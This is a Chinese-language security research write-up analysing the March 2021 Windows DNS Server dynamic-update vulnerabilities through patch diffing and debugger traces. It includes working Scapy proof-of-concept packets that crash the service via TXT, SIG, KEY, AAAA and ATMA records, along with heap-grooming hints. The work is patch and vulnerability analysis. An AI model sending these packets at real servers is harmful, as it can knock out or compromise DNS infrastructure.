作者:Strawberry @ QAX CERT
原文链接:https://mp.weixin.qq.com/s/2D9WYLI_hgGOdBRUrBw6KQ
2021 年 3 月,微软于补丁日发布了关于 Windows DNS Server 的五个远程代码执行漏洞和两个拒绝服务漏洞,漏洞编号如下:
RCE漏洞 CVE-2021-26877,CVE-2021-26897(Exploitation More Likely) CVE-2021-26893,CVE-2021-26894,CVE-2021-26895(Exploitation Less Likely)
DoS漏洞 CVE-2021-26896,CVE-2021-27063(Exploitation Less Likely)
Windows DNS Server 存在多个远程代码执行漏洞和拒绝服务漏洞,攻击者可通过向目标主机发送特制请求来利用这些漏洞,成功利用这些漏洞可在目标主机上以 SYSTEM 权限执行任意代码或导致 DNS 服务拒绝服务。启用安全动态更新可暂时缓解这些漏洞,但攻击者依然可以通过加入域的计算机攻击启用了安全区域更新的 DNS 服务器。
从通告的 FAQ 说明上看,这些漏洞都存在于 Windows DNS Server 进行动态区域更新的过程中。DNS 更新功能使 DNS 客户端计算机能够在发生更改时向 DNS 服务器注册并动态更新其资源记录(RR)。 使用此功能可以缩短手动管理区域记录所需的时间,从而改进 DNS 管理。动态区域更新功能可以部署在独立的 DNS 服务器或 Active Directory(AD)集成的 DNS 服务器上。最佳实践是部署与 AD 集成的DNS,以便利用 Microsoft 的安全性,如 Kerberos 和 GSS-TSIG。
动态更新类型:
在DNS服务器上创建区域时,可以选择启用或禁用 DNS 动态区域更新:
以下为 McAfee 关于 Windows DNS Server 部署模型制作的威胁分析表格:
根据 McAfee 博客中的信息可知,此漏洞在更新 TXT 记录时产生,TXT 记录中的 TXT Length 被设置为 0xFF,这个值大于资源记录里指定的 Data Length (0xbd),这个长度表示的是这个记录后面的所有数据的长度,在当前场景下,包括所有的 TXT Length 和 TXT 数据的长度。使用 Scapy 构造数据包及抓包数据如下:
query = DNSQR(qname='mal', qtype='SOA') RRTXT = DNSRR(rrname="A.mal",type='TXT',rdlen=0xbd,rdata='\x41'*0xff) // 0xff 可修改为更大的数,理论上只要比 0xbd 大即可 packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,aa=1,tc=1,rd=0,ra=1,cd=1,rcode=5,qd=query,ns=RRTXT)
配置 DNS 服务器,新增一个名为 MAL 的主要区域,并设置允许动态更新。(启用页堆) 以下为漏洞触发场景,问题出现在 dns!File_PlaceStringInFileBuffer 函数中,程序尝试访问超出边界的数据:
0:019> g (874.9a0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. dns!File_PlaceStringInFileBuffer+0xa2: 00007ff7`50cc67f6 410fb60c24 movzx ecx,byte ptr [r12] ds:00000271`34988000=?? 0:004> k # Child-SP RetAddr Call Site 00 000000bc`b82ff3f0 00007ff7`50cc731e dns!File_PlaceStringInFileBuffer+0xa2 01 000000bc`b82ff440 00007ff7`50bc26a9 dns!TxtFileWrite+0x6e 02 000000bc`b82ff490 00007ff7`50c5da3d dns!RR_WriteToFile+0x205 03 000000bc`b82ff4f0 00007ff7`50c5ecc6 dns!Up_LogZoneUpdate+0x6ad 04 000000bc`b82ffc70 00007ff7`50c5ea30 dns!Up_CompleteZoneUpdate+0x26e 05 000000bc`b82ffd00 00007ff7`50c60c96 dns!Up_ExecuteUpdateEx+0x338 06 000000bc`b82ffd60 00007ff7`50c616ba dns!processWireUpdateMessage+0x456 07 000000bc`b82ffe00 00007ff7`50c550ad dns!Update_Thread+0x12a 0:004> !heap -p -a r12 //在 CopyWireRead 函数中调用 RR_AllocateEx 申请空间。用户可用的长度到 0x27134987ff5 address 0000027134988000 found in _DPH_HEAP_ROOT @ 271126b1000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 27132a28f08: 27134987ef0 105 - 27134987000 2000 00007fff07e86d67 ntdll!RtlDebugAllocateHeap+0x000000000000003f 00007fff07e2cade ntdll!RtlpAllocateHeap+0x000000000009d27e 00007fff07d8da21 ntdll!RtlpAllocateHeapInternal+0x0000000000000991 00007ff750cc2b4d dns!allocMemory+0x0000000000000039 00007ff750cc2f28 dns!Mem_Alloc+0x000000000000008c 00007ff750cc35c2 dns!RR_AllocateEx+0x000000000000003a 00007ff750c3efd4 dns!CopyWireRead+0x0000000000000024 00007ff750c3fed2 dns!Wire_CreateRecordFromWire+0x000000000000015a 00007ff750c5f3d5 dns!writeUpdateFromPacketRecord+0x0000000000000035 00007ff750c5fbe7 dns!parseUpdatePacket+0x0000000000000423 00007ff750c60b6d dns!processWireUpdateMessage+0x000000000000032d 00007ff750c616ba dns!Update_Thread+0x000000000000012a 00007ff750c550ad dns!threadTopFunction+0x000000000000007d 00007fff054a7974 KERNEL32!BaseThreadInitThunk+0x0000000000000014 00007fff07dea271 ntdll!RtlUserThreadStart+0x0000000000000021 0:004> db r12-20 //这里要访问 0x27134988000 处的数据 00000271`34987fe0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000271`34987ff0 41 41 41 41 41 d0 d0 d0-d0 d0 d0 d0 d0 d0 d0 d0 AAAAA........... 00000271`34988000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000271`34988010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000271`34988020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000271`34988030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000271`34988040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000271`34988050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 0:004> db ecx-14e l160 //将 TXT 数据写入这个缓存区域 00000271`34989ff0 c0 c0 c0 c0 bb 05 fc ff-ef 0c 0c 0c 0c 0c 0c fe ................ 00000271`3498a000 0d 0a 24 53 4f 55 52 43-45 20 20 50 41 43 4b 45 ..$SOURCE PACKE 00000271`3498a010 54 20 31 39 32 2e 31 36-38 2e 31 34 30 2e 31 32 T 192.168.140.12 00000271`3498a020 39 0d 0a 24 56 45 52 53-49 4f 4e 20 32 0d 0a 24 9..$VERSION 2..$ 00000271`3498a030 41 44 44 0d 0a 41 20 20-20 20 20 20 20 20 20 20 ADD..A 00000271`3498a040 20 20 20 20 20 20 20 20-20 20 20 20 20 30 09 54 0.T 00000271`3498a050 58 54 09 28 20 22 41 41-41 41 41 41 41 41 41 41 XT.( "AAAAAAAAAA 00000271`3498a060 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000271`3498a070 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000271`3498a080 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000271`3498a090 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000271`3498a0a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000271`3498a0b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000271`3498a0c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000271`3498a0d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000271`3498a0e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000271`3498a0f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000271`3498a100 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000271`3498a110 41 41 5c 33 32 30 5c 33-32 30 5c 33 32 30 5c 33 AA\320\320\320\3 00000271`3498a120 32 30 5c 33 32 30 5c 33-32 30 5c 33 32 30 5c 33 20\320\320\320\3 00000271`3498a130 32 30 5c 33 32 30 5c 33-32 30 5c 33 32 30 00 c0 20\320\320\320.. 00000271`3498a140 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
漏洞分析 在 CopyWireRead 函数中,通过 RR_AllocateEx 函数申请长度为 data length 的空间,而在后续的操作中实际上会分配 data length + 0x38 + 0x10 大小的空间。0x10 为自定义头部的大小、0x38 为 RR 头部的大小。result 指向 RR 头部,然后调用 memcpy 函数向缓冲区复制 data length 长度的数据。如果 data 数据长度大于 data length 长度也可以被处理,只是复制到缓存中会被截断。
接下来在 TxtFileWrite 函数中会调用 File_PlaceStringInFileBuffer 函数,分别传入待写入缓冲区地址、待写入缓冲区结尾地址、1、TXT 记录缓存地址以及分组长度(每次不超过 0xFF)。这个长度就是从 data 字段中取出的,在调用 File_PlaceStringInFileBuffer 函数前没有判断这个长度是否超出了 TXT 缓存数据的界限(在这个函数内部也没有判断)。虽然在后面会有判断(粉框内),但在第一次执行 File_PlaceStringInFileBuffer 函数的过程中就有可能会触发漏洞。
在 File_PlaceStringInFileBuffer 函数中存在以下循环,使用传入的 length 控制循环的次数,这会导致访问超出边界的数据。
补丁分析
以下为补丁后的 TxtFileWrite 函数,在调用 File_PlaceStringInFileBuffer 函数前,会判断通过 TXT Length 寻址后的地址是否超出了申请的空间。
根据已有信息,可构造以下数据包。更新类型为 SIG,记录超长(signature 字段超长)。注意这次需使用 TCP 连接,Scapy 不能直接构造,以下仅为模型:
query = DNSQR(qname='mal', qtype='SOA') RRSIG = DNSRRRSIG(rrname=str(RandString(8))+'.mal', type="SIG", ttl=300,signersname="A.mal",signature='\x00'*0xff00) packet = IP(dst=ip)/TCP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRSIG)
以下为抓包数据:
漏洞触发现场以及函数调用堆栈如下,异常的原因是 0x2713533c000 无法访问。漏洞触发是在 Dns_SecurityKeyToBase64String 函数(用于 Base64 编码)中。
0:011> g (874.c34): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. dns!Dns_SecurityKeyToBase64String+0x66: 00007ff7`50d02c3a 41884001 mov byte ptr [r8+1],al ds:00000271`3533c000=?? 0:011> k # Child-SP RetAddr Call Site 00 000000bc`b867f3a8 00007ff7`50cc7f02 dns!Dns_SecurityKeyToBase64String+0x66 01 000000bc`b867f3b0 00007ff7`50bc26a9 dns!SigFileWrite+0x1f2 02 000000bc`b867f4a0 00007ff7`50bc244e dns!RR_WriteToFile+0x205 03 000000bc`b867f500 00007ff7`50bc1c92 dns!writeNodeRecordsToFile+0xa6 04 000000bc`b867f560 00007ff7`50bc1cb1 dns!zoneTraverseAndWriteToFile+0x42 05 000000bc`b867f590 00007ff7`50bc18f5 dns!zoneTraverseAndWriteToFile+0x61 06 000000bc`b867f5c0 00007ff7`50c6a2a3 dns!File_WriteZoneToFile+0x379 07 000000bc`b867f6c0 00007ff7`50c6a388 dns!Zone_WriteBack+0xfb 08 000000bc`b867f700 00007ff7`50d00580 dns!Zone_WriteBackDirtyZones+0xb4 09 000000bc`b867f790 00007ff7`50c56a74 dns!Zone_WriteBackDirtyVirtualizationInstances+0x110 0a 000000bc`b867f7c0 00007ff7`50c550ad dns!Timeout_Thread+0x544
查看出现问题的缓冲区,可以发现,其首地址为 0x271352bbff0 ,UserSize 为 0x80010,是在 File_WriteZoneToFile 函数中调用 Mem_Alloc 分配的。
0:011> !heap -p -a 271`3533c000 address 000002713533c000 found in _DPH_HEAP_ROOT @ 271126b1000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 27132a2ca90: 271352bbff0 80010 - 271352bb000 82000 00007fff07e86d67 ntdll!RtlDebugAllocateHeap+0x000000000000003f 00007fff07e2cade ntdll!RtlpAllocateHeap+0x000000000009d27e 00007fff07d8da21 ntdll!RtlpAllocateHeapInternal+0x0000000000000991 00007ff750cc2b4d dns!allocMemory+0x0000000000000039 00007ff750cc2f28 dns!Mem_Alloc+0x000000000000008c 00007ff750bc178c dns!File_WriteZoneToFile+0x0000000000000210 00007ff750c6a2a3 dns!Zone_WriteBack+0x00000000000000fb 00007ff750c6a388 dns!Zone_WriteBackDirtyZones+0x00000000000000b4 00007ff750d00580 dns!Zone_WriteBackDirtyVirtualizationInstances+0x0000000000000110 00007ff750c56a74 dns!Timeout_Thread+0x0000000000000544 00007ff750c550ad dns!threadTopFunction+0x000000000000007d 00007fff054a7974 KERNEL32!BaseThreadInitThunk+0x0000000000000014 00007fff07dea271 ntdll!RtlUserThreadStart+0x0000000000000021 0:011> db 271352bbff0 //存放 MAL.dns 缓存信息 00000271`352bbff0 c0 c0 c0 c0 bb 16 fc ff-ef 0c 0c 0c 0c 0c 0c fe ................ 00000271`352bc000 3b 0d 0a 3b 20 20 44 61-74 61 62 61 73 65 20 66 ;..; Database f 00000271`352bc010 69 6c 65 20 4d 41 4c 2e-64 6e 73 20 66 6f 72 20 ile MAL.dns for 00000271`352bc020 44 65 66 61 75 6c 74 20-7a 6f 6e 65 20 73 63 6f Default zone sco 00000271`352bc030 70 65 20 69 6e 20 7a 6f-6e 65 20 4d 41 4c 2e 0d pe in zone MAL.. 00000271`352bc040 0a 3b 20 20 20 20 20 20-5a 6f 6e 65 20 76 65 72 .; Zone ver 00000271`352bc050 73 69 6f 6e 3a 20 20 32-35 0d 0a 3b 0d 0a 0d 0a sion: 25..;.... 00000271`352bc060 40 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20 @
File_WriteZoneToFile 函数中调用 Mem_Alloc 申请大小为 0x80000 长度的空间,实际是通过 allocMemory 函数申请大小为 0x80010 长度的堆(包括 0x10 大小的头部长度)。而触发访问异常的 0x2713533c000 正好和 0x271352bbff0 相差 0x80010。下一步要查看为何会有超出边界的数据复制过来。
0:011> ?271`3533c000-271352bbff0 Evaluate expression: 524304 = 00000000`00080010
漏洞分析 通过回溯及数据跟踪可关注到 zoneTraverseAndWriteToFile 函数,其第一个参数偏移 0x20 处保存了待写缓冲区的实时地址。该函数会调用 writeZoneRoot、writeNodeRecordsToFile 等函数向缓冲区写入数据。然后利用 NTree_FirstChild 以及 NTree_NextSiblingWithLocking 函数遍历 NodeRecords,然后通过回调依次对这些节点进行处理。如果该节点偏移 0x5c 处没有设置 0x10 的 flag,就会调用 writeNodeRecordsToFile 函数进行处理。
writeNodeRecordsToFile 函数中会调用 RR_WriteToFile 函数,在 RR_WriteToFile 函数中也会有判断,如果当前缓冲区距离 end_addr 的长度小于 0x11000,就将缓冲区数据写入文件,并重置缓冲区指针。但这里没有考虑 Base64 编码后是 3:4 的长度。
然后通过 type 类型从 RawRecordFileWrite 表中选择相应的 FileWrite 处理函数,type 18 对应的是 SigFileWrite 函数,然后调用这个函数。(IDA 下面解析错了,实际上 SigFileWrite 函数有 4 个参数)
SigFileWrite 函数用于解析 SIG 结构并将其写入 MAL.dns 缓存,如下所示,SigFileWrite 函数拿到的初始缓存缓冲区指针为 p_buffer(来自第二个参数),在向其写入 SIG 头信息以及 Signer's name 后,v13 指向该缓冲区待写入的地址,然后调用 Dns_SecurityKeyToBase64String 函数对 Signature 进行 Base64 编码并将结果写入 v13 指向的地址处。
如下所示,在调用 Dns_SecurityKeyToBase64String 函数时,第二个参数为 0xffb9,经过 Base64 编码后的数据长度为 0x154f8。查看上下文可以发现(上图所示),在向缓冲区写入的每一步几乎都用了 end_addr(用户可用的最大长度) 作为限制,唯独在 Dns_SecurityKeyToBase64String 函数的调用中没有,这可能会造成隐患。
0:011> g Breakpoint 1 hit dns!Dns_SecurityKeyToBase64String: 00007ff7`50d02bd4 48895c2408 mov qword ptr [rsp+8],rbx ss:000000bc`b867f3b0=000000bcb867f430 0:011> r rdx rdx=000000000000ffb9 0:011> ?ffb9/3*4 Evaluate expression: 87284 = 00000000`000154f4 0:011> db r8 l20 00000271`34c16255 00 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................ 00000271`34c16265 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................ 0:011> gu dns!SigFileWrite+0x1f2: 00007ff7`50cc7f02 4c8bc8 mov r9,rax 0:011> db 271`34c16255+154f4 l20 // 写入了 0x154f8 字节数据 00000271`34c2b749 41 41 41 3d c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 AAA=............ 00000271`34c2b759 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
由于向 zoneTraverseAndWriteToFile 函数中传入的第一个参数是不变的,因而会一直向该缓冲区中写入数据。虽然在 RR_WriteToFile 函数和 SigFileWrite 函数中有一些判断,但仍未考虑数据 Base64 编码后的长度,因而在多次循环写入的时候,正好在 Dns_SecurityKeyToBase64String 函数的执行过程中触发 OOB 写操作。
补丁分析 更新后的 DNS 在 SigFileWrite 函数中调用 Dns_SecurityKeyToBase64String 函数前会进行以下判断。会考虑当前缓冲区的剩余空间是否可以容纳 Base64 编码后的 Signature 数据。
以下为 3 月更新内发生变动的函数列表,包括前面已经分析过的TxtFileWrite 函数和 SigFileWrite 函数。
类似地,在 KeyFileWrite 函数中也加入了 Base64 编码预检查(粉框对应)。但不是这个的问题,补丁前已经有 a3 - (signed __int64)a2 < (signed int)(2 * v3) 这个判断了,可以阻断 CVE-2021-26897 式触发。真正的原因我用蓝框圈起来了,v3 来自 Data Length - 4,而且它是无符号 int 型,如果 Data Length 小于 4,会产生整数溢出。而它又作为 Dns_SecurityKeyToBase64String 函数的第二个参数,该函数指明待编码数据长度,4 个字节的大整数,肯定会溢出的啦。
构造 POC 如下,触发场景见下图:
query = DNSQR(qname='mal', qtype='SOA') RRKEY = DNSRR(rrname=str(RandString(8))+'.mal',type='KEY',rdlen=0 ,rdata='\x00'*0xff) packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRKEY)
另外,值得注意的是,CopyWireRead 函数中加入了以下判断,经过分析可知,当接收 update 请求类型为 WKS、AAAA 或 ATMA 时,会分别判断其 Data Length 是否小于 5、0x10、2。
该请求会由 AaaaFileWrite 函数进行处理,经过前面的分析可知,a1 偏移 0x38 处指向 Data Length 字段后的记录数据。经过 CopyWireRead 函数的处理,a1 偏移 0x38 处指向的数据的有效长度等于 Data Length 大小。如果 Data Length 小于 XXXFileWrite 函数中函数调用所需的数据长度,就有可能访问到缓冲区边界之外的数据(如 RtlIpv6AddressToStringA 函数)。
以下为 RtlIpv6AddressToStringA 函数原型,其第一个参数类型为 in6_addr,该长度应为 16 个字节。因而在新的 CopyWireRead 函数中会判断 Data Length 大小是否小于 0x10。
NTSYSAPI PSTR RtlIpv6AddressToStringA( const in6_addr *Addr, PSTR S ); typedef struct in6_addr { union { UCHAR Byte[16]; USHORT Word[8]; } u; } IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR; 0:008> db rdx l10 //例:fe80::20c:29ff:fe5e:7b11 00000271`26ed9ecd fe 80 00 00 00 00 00 00-02 0c 29 ff fe 5e 7b 11 ..........)..^{.
新的 AaaaFileWrite 函数中也会加入对待读缓冲区和待写缓冲区的判断。
构造如下 POC 进行验证,崩溃场景如下图:
query = DNSQR(qname='mal', qtype='SOA') RRAaaa = DNSRR(rrname=str(RandString(8))+'.mal',type='AAAA',rdlen=1,rdata='fe80::20c:29ff:fe5e:7b11') packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRAaaa)
下面再来看 AtmaFileWrite 函数,CopyWireRead 函数中给的限制是:它的 Data Length 长度要大于等于 2。对比补丁前后,对 Data Length 长度判断吸引了我的注意(右边),如果是 0,就走结束流程。那么再看不补丁前的函数,v6 为 Data Length - 1 的无符号数,当 Data Length 为 0 时,v6 为 0xFFFFFFFF , 会产生整数溢出。而且,当 Data 数据的第一个字节为 1 时,会以 v6 做为控制长度向缓冲区复制数据(堆溢出)。
构造 ATMA 更新请求如下,为了使 Data Length 为 0 时,满足漏洞触发条件,需要在发送恶意请求时发送一些“铺垫”数据,即保证 Data 数据的第一个字节(a1 偏移 0x38 处)为 1,且分配的大小一致。那么当触发漏洞的请求到来时,申请的堆可能就来自之前的数据包。例:rdl 先 1(多个) 后 0(分配到 0x50 大小的自定义堆上),崩溃现场如下图:
query = DNSQR(qname='mal', qtype='SOA') RRATMA = DNSRR(rrname="A.mal",type='ATMA',rdlen=rdl,rdata='\x01'*0xff) packet = IP(dst=ip)/UDP()/DNS(id=random.randint(0,65535),opcode=5,qd=query,ns=RRATMA)
WksFileWrite 函数中会打印 IP 地址,还有协议名称,这需要保证数据必须大于等于5。如果发送的数据不到 5,就会读取到后面的数据,这样会存在一定程度的信息泄露(然而我觉得没什么用)。
微软 3 月补丁日公开了 Windows DNS Server 中存在的多个远程代码执行漏洞和拒绝服务漏洞,这些漏洞都存在于 Windows DNS Server 进行动态区域更新的过程中。攻击者可通过向目标主机发送特制请求来利用这些漏洞,成功利用这些漏洞可在目标主机上以 SYSTEM 权限执行任意代码或导致 DNS 服务拒绝服务。通过对 McAfee 博客中的细节描述进行分析以及补丁比对,笔者构造 POC 复现了其中的 5 个(不包括 WKS)。如有不足之处,欢迎批评指正,期待技术交流。
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26877
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26897
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1573/